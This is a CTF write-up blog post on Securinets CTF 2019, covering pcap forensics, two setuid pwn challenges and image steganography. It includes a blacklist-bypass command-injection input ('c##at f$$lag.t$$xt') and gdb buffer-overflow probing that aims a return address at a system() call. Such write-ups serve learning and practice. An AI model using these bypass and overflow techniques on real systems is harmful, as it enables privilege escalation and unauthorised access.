This week, there was tencent Ctf and Securinets Ctf. I focused more on Securinets Ctf


Forensics

Easy Trade

  • Challenge
    • Some n00bs exachanged flag through the network. Find the flag. Given a pcap file. Pcap file would be found at the (repo)[https://github.com/Srinivas11789/SecurityNuggets/tree/master/captureTheFlag/Forensics/SecurinetsCtf2019/easyTrade]
  • Steps: Diving into the PcapFile - a covert TCP chat is evident from the TCP data from wireshark
    • Going through the conversation, there is a message claiming to send a zip file through port 4444



  • Follow TCP Stream for packet with 4444 port and save the PK zip data in the Raw form. (The PK Zip file magic numbers are evident in ascii coversion but save them as raw)


  • The zip file is password encrypted hence looking more into this conversation we get the key



  • Flag
srimbp:Desktop sri$ unzip s.zip
Archive:  s.zip
[s.zip] flag.txt password: 
 extracting: flag.txt                
srimbp:Desktop sri$ cat flag.txt
c2VjdXJpbmV0c3s5NTRmNjcwY2IyOTFlYzI3NmIxYTlmZjg0NTNlYTYwMX0
srimbp:Desktop sri$ python
Python 2.7.15 (default, Jan 12 2019, 21:07:57) 
[GCC 4.2.1 Compatible Apple LLVM 10.0.0 (clang-1000.11.45.5)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> base64.b64decode("c2VjdXJpbmV0c3s5NTRmNjcwY2IyOTFlYzI3NmIxYTlmZjg0NTNlYTYwMX0==")
'securinets{954f670cb291ec276b1a9ff8453ea601}'
>>> 

Pwn

Welcome

  • Challenge
40


  • Steps
    • SSH and do some recon on the files
root@kali:~/Downloads# ssh welcome@51.254.114.246
load pubkey "/root/.ssh/id_rsa": invalid format
The authenticity of host '51.254.114.246 (51.254.114.246)' can't be established.
ECDSA key fingerprint is SHA256:3eQMDCWH3uVdTyUs4Y0N1DdTKHQyX9ETcdc6RJAkYaE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '51.254.114.246' (ECDSA) to the list of known hosts.
welcome@51.254.114.246's password: 

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sun Mar 24 00:43:33 2019 from 79.54.149.188
$ ls
flag.txt  welcome  welcome.c  wrapper  wrapper.c
$ cat flag.txt
cat: flag.txt: Permission denied
$ ./welcome
-sh: 5: ./welcome: Permission denied
$ chmod +x welcome
-sh: 7: chmod: not found
$ pwd
/home/welcome
$ 
$ ls -ltr
total 40
-rw-r----- 1 root            root              175 Mar 23 12:27 welcome.c
-r--r--r-- 1 welcome-cracked welcome          8712 Mar 23 19:09 welcome
-rw-r--r-- 1 root            root             1741 Mar 23 20:13 wrapper.c
-r-sr-x--- 1 welcome-cracked welcome         13088 Mar 23 20:13 wrapper
-r--r-x--- 1 welcome-cracked welcome-cracked    76 Mar 23 20:23 flag.txt
$ whoami
welcome
$ ./wrapper
Welcome to Securinets Quals CTF o/ 
Enter string:
asda
sh: 1: asda: not found
$ 

  • It is evident that there is no permission to any files other than wrapper which can be executed by the welcome user.

  • Examine the wrapper.c for any exploits.
    • Wrapper.c
      • Input: String
      • Output: String to Shell command with System() call
      • Operation: Input validation –? Has a predefined blacklist and whitelists the strings by deleting potenital bad characters.
  • Exploit: Before examining the complete code ( the outline suggests deleting some characters that look like a blacklist)
    • Let’s try some dummy characters (potential blacklist) inbetween command characters that would allow payload construction while the validation is performed.
    • c##at ==> cat after validation
  • Do some tests (bruteforce by having print statements in wrapper.c)
root@kali:~/Downloads# ./wrap 
Welcome to Securinets Quals CTF o/ 
Enter string:
c##at flag.txt
cat: -: Bad file descriptor
cat: closing standard input: Bad file descriptor
Execuring... cat root@kali:~/Downloads# ./wrap 
Welcome to Securinets Quals CTF o/ 
Enter string:
c##at f##lag.txt
cat: 'f##lag.[~'$'\374\377\177': No such file or directory
Execuring... cat f##lag.[~��root@kali:~/Downloads# vi wrapper.c 
root@kali:~/Downloads# ./wrap 
Welcome to Securinets Quals CTF o/ 
Enter string:
c##at f##laf
Execuring... cat f##laf
cat: f##laf: No such file or directory
sh: 2: : not found
root@kali:~/Downloads# ./wrap 
Welcome to Securinets Quals CTF o/ 
Enter string:
c##at f##lag
Execuring... cat f##lag
cat: f##lag: No such file or directory
sh: 2: : not found
root@kali:~/Downloads# ./wrap 
Welcome to Securinets Quals CTF o/ 
Enter string:
c##at flag
cat: ''$'\236''N'$'\177': No such file or directory
Execuring... cat �Nroot@kali:~/Downloads# ./wrap 
Welcome to Securinets Quals CTF o/ 
Enter string:
c##at f$lag
Execuring... cat fag
cat: fag: No such file or directory
root@kali:~/Downloads# ./wrap 
Welcome to Securinets Quals CTF o/ 
Enter string:
c##at f$$lag
Execuring... cat flag
cat: flag: No such file or directory
sh: 2: : not found
root@kali:~/Downloads# ./wrap 
Welcome to Securinets Quals CTF o/ 
Enter string:
c##at f$$lag.txt
cat: 'flag.s'$'\330\030\377\177': No such file or directory
Execuring... cat flag.s��root@kali:~/Downloads# ./wrap 
Welcome to Securinets Quals CTF o/ 
Enter string:
c##at f$$lag.t$$xt
Execuring... cat flag.txt
  • Flag
$ ./wrapper
Welcome to Securinets Quals CTF o/ 
Enter string:
c##at f##lag.txt
cat: f##lag.time: No such file or directory
$ ./wrapper
Welcome to Securinets Quals CTF o/ 
Enter string:
c##at f$$lag.t$$xt
securinets{who_needs_exec_flag_when_you_have_linker_reloaded_last_time!!!?}
$ 

backToBasics

  • I dozed off after working on this for a while and the ctf was over. So no flag as the services were broght down…

  • SSH and Intial recon. Exploiting basic binary should be the way to go obviously.

root@kali:~/Downloads# ssh basic@51.254.114.246 
load pubkey "/root/.ssh/id_rsa": invalid format
basic@51.254.114.246's password: 
Last login: Sun Mar 24 12:46:22 2019 from 219.100.84.160
WARNING WARNING WARNING!!!!
***************************
*  You have been hacked!! *
***************************
basic@vps614257:~$ ls
basic  flag.txt  main.c
basic@vps614257:~$ ls -ltr
total 20
-rw------- 1 root          root           408 Mar 24 00:25 main.c
-r--r----- 1 basic-cracked basic-cracked   27 Mar 24 00:28 flag.txt
-r-sr-x--- 1 basic-cracked basic         8928 Mar 24 00:31 basic
basic@vps614257:~$ cat flag.txt
cat: flag.txt: Permission denied
  • Using GDB to test –> Buffer overflow - Identify exact overflow size for the crash to perform overwrite.
basic@vps614257:~$ gdb ./basic
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./basic...(no debugging symbols found)...done.

(gdb) disas main
Dump of assembler code for function main:
   0x0000000000400680 <+0>:	push   %rbp
   0x0000000000400681 <+1>:	mov    %rsp,%rbp
   0x0000000000400684 <+4>:	push   %rbx
   0x0000000000400685 <+5>:	sub    $0x88,%rsp
   0x000000000040068c <+12>:	mov    $0x0,%eax
   0x0000000000400691 <+17>:	callq  0x400500 <geteuid@plt>
   0x0000000000400696 <+22>:	mov    %eax,%ebx
   0x0000000000400698 <+24>:	mov    $0x0,%eax
   0x000000000040069d <+29>:	callq  0x400500 <geteuid@plt>
   0x00000000004006a2 <+34>:	mov    %ebx,%esi
   0x00000000004006a4 <+36>:	mov    %eax,%edi
   0x00000000004006a6 <+38>:	mov    $0x0,%eax
   0x00000000004006ab <+43>:	callq  0x400530 <setreuid@plt>
   0x00000000004006b0 <+48>:	lea    -0x90(%rbp),%rax
   0x00000000004006b7 <+55>:	mov    %rax,%rdi
   0x00000000004006ba <+58>:	mov    $0x0,%eax
   0x00000000004006bf <+63>:	callq  0x400520 <gets@plt>
   0x00000000004006c4 <+68>:	mov    $0x0,%eax
   0x00000000004006c9 <+73>:	add    $0x88,%rsp
   0x00000000004006d0 <+80>:	pop    %rbx
   0x00000000004006d1 <+81>:	pop    %rbp
   0x00000000004006d2 <+82>:	retq   
End of assembler dump.

(gdb) run <<< $(python -c "print 'A'*5000")
Starting program: /home/basic/basic <<< $(python -c "print 'A'*5000")

Program received signal SIGSEGV, Segmentation fault.
0x00000000004006d2 in main ()

(gdb) run <<< $(python -c "print 'A'*500")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/basic/basic <<< $(python -c "print 'A'*500")

Program received signal SIGSEGV, Segmentation fault.
0x00000000004006d2 in main ()

(gdb) run <<< $(python -c "print 'A'*100")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/basic/basic <<< $(python -c "print 'A'*100")
[Inferior 1 (process 9908) exited normally]

(gdb) run <<< $(python -c "print 'A'*150")
Starting program: /home/basic/basic <<< $(python -c "print 'A'*150")
[Inferior 1 (process 14127) exited normally]

(gdb) run <<< $(python -c "print 'A'*200")
Starting program: /home/basic/basic <<< $(python -c "print 'A'*200")

Program received signal SIGSEGV, Segmentation fault.
0x00000000004006d2 in main ()

(gdb) run <<< $(python -c "print 'A'*180")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/basic/basic <<< $(python -c "print 'A'*180")

Program received signal SIGSEGV, Segmentation fault.
0x00000000004006d2 in main ()
(gdb) run <<< $(python -c "print 'A'*170")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/basic/basic <<< $(python -c "print 'A'*170")

Program received signal SIGSEGV, Segmentation fault.
0x00000000004006d2 in main ()
(gdb) run <<< $(python -c "print 'A'*160")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/basic/basic <<< $(python -c "print 'A'*160")

Program received signal SIGSEGV, Segmentation fault.
0x00000000004006d2 in main ()
(gdb) run <<< $(python -c "print 'A'*155")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/basic/basic <<< $(python -c "print 'A'*155")

Program received signal SIGSEGV, Segmentation fault.
0x00007f8300414141 in ?? ()
(gdb) run <<< $(python -c "print 'A'*153")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/basic/basic <<< $(python -c "print 'A'*153")

Program received signal SIGSEGV, Segmentation fault.
0x00007f873bfb0043 in ?? () from /lib/x86_64-linux-gnu/libc.so.6

(gdb) run <<< $(python -c "print 'A'*150")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/basic/basic <<< $(python -c "print 'A'*150")
[Inferior 1 (process 3217) exited normally]

(gdb) run <<< $(python -c "print 'A'*151")
Starting program: /home/basic/basic <<< $(python -c "print 'A'*151")
[Inferior 1 (process 6765) exited normally]

(gdb) run <<< $(python -c "print 'A'*152")
Starting program: /home/basic/basic <<< $(python -c "print 'A'*152")

Program received signal SIGSEGV, Segmentation fault.
0x00007f870334e800 in __libc_start_main (main=0x400680 <main>, argc=1, argv=0x7fffd3f77238, init=<optimized out>, 
    fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffd3f77228) at ../csu/libc-start.c:285
285	../csu/libc-start.c: No such file or directory.
(gdb) i r
rax            0x0	0
rbx            0x4141414141414141	4702111234474983745
rcx            0x7f87036f28e0	140217854929120
rdx            0x7f87036f4790	140217854936976
rsi            0xb490a8	11833512
rdi            0x7fffd3f77158	140736749597016
rbp            0x4141414141414141	0x4141414141414141
rsp            0x7fffd3f77160	0x7fffd3f77160
r8             0xb490a9	11833513
r9             0x4141414141414141	4702111234474983745
r10            0x4141414141414141	4702111234474983745
r11            0x246	582
r12            0x400550	4195664
r13            0x7fffd3f77230	140736749597232
r14            0x0	0
r15            0x0	0
rip            0x7f870334e800	0x7f870334e800 <__libc_start_main+192>
eflags         0x10206	[ PF IF RF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
  • Info about which address to jump
(gdb) info functions
...
...
0x00000000004004b0  _init
0x00000000004004e0  strlen@plt
0x00000000004004f0  system@plt
0x0000000000400500  geteuid@plt
0x0000000000400510  __libc_start_main@plt
0x0000000000400520  gets@plt
0x0000000000400530  setreuid@plt
0x0000000000400550  _start
0x0000000000400580  deregister_tm_clones
0x00000000004005c0  register_tm_clones
0x0000000000400600  __do_global_dtors_aux
0x0000000000400620  frame_dummy
0x0000000000400646  funcc
0x0000000000400657  ff
0x0000000000400680  main
0x00000000004006e0  __libc_csu_init
0x0000000000400750  __libc_csu_fini
0x0000000000400754  _fini
0x00007f87036f8a70  __libc_memalign@plt
0x00007f87036f8a80  malloc@plt
0x00007f87036f8a90  calloc@plt
0x00007f87036f8aa0  realloc@plt
0x00007fffd3faaa10  __vdso_clock_gettime
0x00007fffd3faaa10  clock_gettime
0x00007fffd3faac80  __vdso_gettimeofday
0x00007fffd3faac80  gettimeofday
0x00007fffd3faade0  __vdso_time
0x00007fffd3faade0  time
0x00007fffd3faae00  __vdso_getcpu
...
...
  • funcc looks promising with a system command being executed. Probably get shell and execute cat flag.
(gdb) disas funcc
Dump of assembler code for function funcc:
   0x0000000000400646 <+0>:	push   %rbp
   0x0000000000400647 <+1>:	mov    %rsp,%rbp
   0x000000000040064a <+4>:	mov    $0x400764,%edi
   0x000000000040064f <+9>:	callq  0x4004f0 <system@plt>
   0x0000000000400654 <+14>:	nop
   0x0000000000400655 <+15>:	pop    %rbp
   0x0000000000400656 <+16>:	retq   
End of assembler dump.
  • Add dummy payload
(gdb) run <<< $(python -c "print 'A'*151+'BBBBBBB'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/basic/basic <<< $(python -c "print 'A'*151+'BBBBBBB'")

Breakpoint 1, 0x00000000004006bf in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004006c4 in main ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
  • Dozed off…. after this and server was down when I checked back again. Hopefully possibly the right direction?

Miscellaneous

Hidden

  • This was very wasy. A web page which had nothing but a text flag is somewhere here, looking at the source code did not reveal anything.

  • Looking at the Certificate gave the flag.



EZ

  • Challenge
    • Given a Picture (usual forensics) with the flag hidden somewhere
  • Given
40
  • Hints were that it was easy and once you obtiain the word, sha1 hash the word –> which is the flag.

  • Steps

    • Usual file, exiftool, pngcheck, binwalk, some steg tools revealed nothing. Every attempt at it was failure. So I wondered that the picture should contain some information visually.

    • Used GIMP to apply layers and enhance the image.
      • Brightened, Enhanced, Added different layers, Inverted, Sampled –> I, by default assumed the picture contained some code and flag should be there
      • I started reading the code and found some strings. It was a game code containing some secret level –> Obtained some strings like SKY1, SKYFLATNAME, SKY2, SKY3 and a number of codes like ga_victory. Hashing all potential strings for the flag was in vain. I spent a lot of time on this feeling close to the answer and was hitting only failures.
    • I referred to abundant resources and tried different stuff. Alas the secret of a ctf helped once deep into a particular technique and after a number of failure --> retract back to the start and retry as a n00b...

    • Some references below of different techniques/tools tried.

    • Finally the tool zsteg returned some string which was unusual. Looks like something is hidden in the LSBs of the pixels.
root@kali:/Downloads# zsteg pic.png b1,rgb,lsb,xy ..  
text: "--START--\n"The fact is that upon his entrance I had instantly recognized the extreme\npersonal danger in which I lay. The only  
conceivable escape for him lay in silencing\nmy tongue. In an instant I had slipped the revolver from the drawer into my\npocket and"  
b2,b,msb,xy ..
text: "_uW}W}W}" b3,b,lsb,xy .. file: very old 16-bit-int big-endian archive b4,r,lsb,xy .. text: "\nvvwgffwfwvwgg" b4  
g,lsb,xy .. 
text:  
"gwvwvffwvgvfggfvwgvfvgfgvgffvwfvwgfvfgvvwwvfwgfwfgvgvgffwgffffffwgfffgfgvwvfwgvfwwfwvwfgvwvfwgvffgvfvwffwgvwvwvfggffvgfgwgfffgvfwgvfvgffwgfwwgfgwgfffgvfwwvfvgfffgvgwgffvwvgvwvfvgfgwgvfvwfgvwfffgvgvgffwwvfwgfvfgfgfgffwgvgvwfgvvffwwfvwwvgvwvgfffgfgfgfgfgvwvf" b4,b,lsb,xy .. 
text:  
"wfgggfgfgffwffwfvfffwfggwfgwvfgfvfgfvggfwfvfvfggvfgvwgwgwfwgvfffvfgfvfgvvgggwggvvfgfwfwwwfwwvfgfvggvwfggvggfwfggfgggvgwwwfgvvfggwfwgvfgwwfggvfggvfgwvfggvfvfgfggvfwvwgffvfwvvfgwwfgfwfffwgwgvgggvfwwvfgvvfffwfgwvfgvvgwwwfgvvfgvwfwwvfgfwfwgwffvvfgvvfgvvfgvvggg" b4,rgb,lsb,xy
.. 
text: "ogWef&vfFmw" b4,rgb,msb,xy .. text: "`vnovng>" b4,bgr,lsb,xy .. text: "ogVev&ffG}g" 
root@kali:/Downloads#
  • Extracting LSB of Pixels RGB from the picture
(ssss) root@kali:~/Downloads# cat stego.py 

#!/usr/bin/env python
# Reference: https://www.boiteaklou.fr/Steganography-Least-Significant-Bit.html
from PIL import Image import binascii

def lsb_extract(img): 
    # Open image
    image = Image.open(img)

    extracted = ''

    # Load
    pixels = image.load()

    # Iterate over pixels of all the rows and columns
    # * Each pixel has (r, g, b) values
    #   - black ==> (1,1,1)
    #   - white ==> (0,0,0)
    for y in range(0, image.height):
        for x in range(0, image.width):
            r,g,b = pixels[x,y]
            # The last bit or least significant bit 
            extracted += bin(r)[-1]
            extracted += bin(g)[-1]
            extracted += bin(b)[-1]

    chars = []
    for i in range(int(len(extracted)/8)):
        byte = extracted[i*8:(i+1)*8]
        chars.append(chr(int(''.join([str(bit) for bit in byte]), 2)))

    chars = ("".join(chars)).split(" ")

    for c in range(len(chars)):
        if "END" in chars[c]:
            print(" ".join(chars[:c+1]))

lsb_extract("pic.png")

(ssss) root@kali:~/Downloads# python3 stego.py 
--START-- "The fact is that upon his entrance I had instantly recognized the extreme personal danger in which I lay. The only  
conceivable escape for him lay in silencing my tongue. In an instant I had slipped the revolver from the drawer into my pocket and  
was covering him through the cloth. At his remark I drew the weapon out and laid it cocked upon the table. He still smiled and  
blinked, but there was something about his eyes which made me feel very glad that I had it there, "You evidently don't know me,'  
said he. "'On the contrary,' I answered, 'I think it is fairly evident that I do. Pray take a chair. I can spare you five minutes if  
you have anything to say.' "'All that I have to say has already crossed your mind,' said he. "'Then possibly my answer has crossed  
yours,' I replied. "'You stand fast?' "'Absolutely.' "He clapped his hand into his pocket, and I raised the pistol from the table.  
But he merely drew out a <DETELED_WORD> in which he had scribbled some dates. "You crossed my path on the fourth of January,' said  
he. 'On the twenty-third you incommoded me; by the middle of February I was seriously inconvenienced by you; at the end of March I  
was absolutely hampered in my plans; and now, at the close of April, I find myself placed in such a position through your continual  
persecution that I am in positive danger of losing my liberty. The situation is becoming an impossible one.' "'Have you any  
suggestion to make?' I asked. "'You must drop it, Mr. Holmes,' said he, swaying his face about. 'You really must, you know.'"  
--END--;oÛÿß}þßýû·ûo¿ûï·Ûo¿ûm¿ßo¿ûï·ÛÿÛí¿ßí·Ûo¿Û}¿ûoÛmÛmÛm¿Ûmûÿ·ûmûm÷Û}ÛmÛmÛmÛm·ÛmÛmÛmÛmÛmßÿÛ  
ÛmÛmÛÿßÿÛmÛmßo¾ßm÷ßm
  • Still, using the sha1(<DETELED_WORD>) did not work. Using dates as puzzle solving for the word and hashing them did not work. Luckily when searching online for the dialogue –> it turns out to be a dialgoue from sherlock holmes book

  • Referring the same dialogue from the book in google result

"He clapped his hand into his pocket, and I raised the pistol from the table. But he merely drew out a memorandum-book in which he had scribbled some dates"
  • Finally, sha1("memorandum-book") was the flag!

References

* https://github.com/Ghirensics/ghiro
* https://www.gimp.org/tutorials/ContrastMask/
* https://github.com/apsdehal/awesome-ctf#steganography-1
* https://www.sitepoint.com/easily-remove-white-or-black-backgrounds-with-blending-sliders-in-photoshop/
* https://medium.com/bugbountywriteup/meepwn-ctf-quals-2018-writeup-part-1-ab216bbf0b35
* https://pastebin.com/46VmzrRU
* https://github.com/ctfs/write-ups-2014/blob/master/plaid-ctf-2014/doge-stege/change_palette.py
* https://github.com/ctfs/write-ups-2014/tree/master/plaid-ctf-2014/doge-stege
* https://pinetools.com/change-image-saturation
* https://29a.ch/photo-forensics/#pca
* https://asecuritysite.com/forensics/png
* http://www.imageforensic.org/
* https://www.slideshare.net/CysinfoCommunity/image-png-forensic-analysis
* https://github.com/ragibson/Steganography
* https://pequalsnp-team.github.io/cheatsheet/steganography-101
* https://github.com/syvaidya/openstego/releases
* https://github.com/quangntenemy/Steganabara
* https://subscription.packtpub.com/book/networking_and_servers/9781784392932/6/ch06lvl1sec53/extracting-messages-hidden-in-lsb
* http://blog.justsophie.com/image-steganography-in-python/
* https://hackernoon.com/simple-image-steganography-in-python-18c7b534854f
* https://www.cybrary.it/0p3n/hide-secret-message-inside-image-using-lsb-steganography/
* https://www.geeksforgeeks.org/image-based-steganography-using-python/
* https://www.boiteaklou.fr/Steganography-Least-Significant-Bit.html